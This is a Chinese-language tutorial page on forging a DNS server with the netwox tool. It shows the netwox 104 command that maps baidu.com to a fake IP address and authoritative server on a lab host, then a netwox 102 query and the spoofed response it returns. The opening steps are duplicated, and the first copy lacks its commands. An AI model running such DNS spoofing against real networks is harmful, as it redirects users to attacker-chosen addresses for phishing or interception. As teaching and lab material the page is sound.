如何伪造DNS服务器?
DNS 服务器是进行域名和与之相对应的 IP 地址转换的服务器。正常情况下,用户访问域名网站,首先从 DNS 服务器上或权威名称服务器上获取域名对应的 IP 地址,然后根据该 IP 地址访问网站。
为了能够使用户混淆,netwox 工具提供了编号为 104 的模块。它可以伪造 DNS 服务器,手动设置假的域名与 IP 地址的对应关系。这样,用户会获取一个域名对应的错误 IP 地址。
【实例】在主机 192.168.59.133 上伪造域名 baidu.com 的 DNS 服务器。
1) 伪造域名 baidu.com 的 DNS 服务器,伪造该域名对应的 IP 地址为 110.111.112.113,该域名的权威名称服务器为 123.baidu.com,对应的 IP 地址为 56.67.78.89。
执行命令如下:
2) 这时,使用 netwox 工具中编号为 102 的模块,请求域名 baidu.com 对应的IP地址,执行命令如下:
获取到的信息如下:
为了能够使用户混淆,netwox 工具提供了编号为 104 的模块。它可以伪造 DNS 服务器,手动设置假的域名与 IP 地址的对应关系。这样,用户会获取一个域名对应的错误 IP 地址。
【实例】在主机 192.168.59.133 上伪造域名 baidu.com 的 DNS 服务器。
1) 伪造域名 baidu.com 的 DNS 服务器,伪造该域名对应的 IP 地址为 110.111.112.113,该域名的权威名称服务器为 123.baidu.com,对应的 IP 地址为 56.67.78.89。
执行命令如下:
root@daxueba:~# netwox 104 -h baidu.com -H 110.111.112.113 -a 123.baidu.com -A 56.67.78.89
执行命令后将成功伪造域名 baidu.com 的 DNS 服务器,当有用户向该服务器请求域名 baidu.com 对应的 IP 地址时,将会给出伪造的地址。2) 这时,使用 netwox 工具中编号为 102 的模块,请求域名 baidu.com 对应的IP地址,执行命令如下:
root@daxueba:~# netwox 102 -i 192.168.59.133 -n baidu.com -y a
执行命令后,将从伪造的 DNS 服务器(地址为 192.168.59.133)上获取对应的 IP 地址、权威服务器以及对应的 IP 地址信息。获取到的信息如下:
DNS_question_________________________________________________. #DNS请求 | id=29841 rcode=OK opcode=QUERY | | aa=0 tr=0 rd=0 ra=0 quest=1 answer=0 auth=0 add=0 | | baidu.com. A | |__________________________________________________________ | DNS_answer________________________________________________. #DNS响应 | id=29841 rcode=OK opcode=QUERY | | aa=1 tr=0 rd=0 ra=0 quest=1 answer=1 auth=1 add=1 | | baidu.com. A | | baidu.com. A 10 110.111.112.113 | #域名对应的IP地址 | 123.baidu.com. NS 10 123.baidu.com. | #权威服务器名称 | 123.baidu.com. A 10 56.67.78.89 | #权威服务器IP地址 |_____________________________________________________________ |从输出信息可以看到,获取到的域名 baidu.com 对应的 IP 地址为伪造的地址 110.111.112.113,该域名的权威服务器也是伪造的服务器 123.baidu.com,对应的 IP 地址为 56.67.78.89。
所有教程
- C语言入门
- C语言编译器
- C语言项目案例
- 数据结构
- C++
- STL
- C++11
- socket
- GCC
- GDB
- Makefile
- OpenCV
- Qt教程
- Unity 3D
- UE4
- 游戏引擎
- Python
- Python并发编程
- TensorFlow
- Django
- NumPy
- Linux
- Shell
- Java教程
- 设计模式
- Java Swing
- Servlet
- JSP教程
- Struts2
- Maven
- Spring
- Spring MVC
- Spring Boot
- Spring Cloud
- Hibernate
- Mybatis
- MySQL教程
- MySQL函数
- NoSQL
- Redis
- MongoDB
- HBase
- Go语言
- C#
- MATLAB
- JavaScript
- Bootstrap
- HTML
- CSS教程
- PHP
- 汇编语言
- TCP/IP
- vi命令
- Android教程
- 区块链
- Docker
- 大数据
- 云计算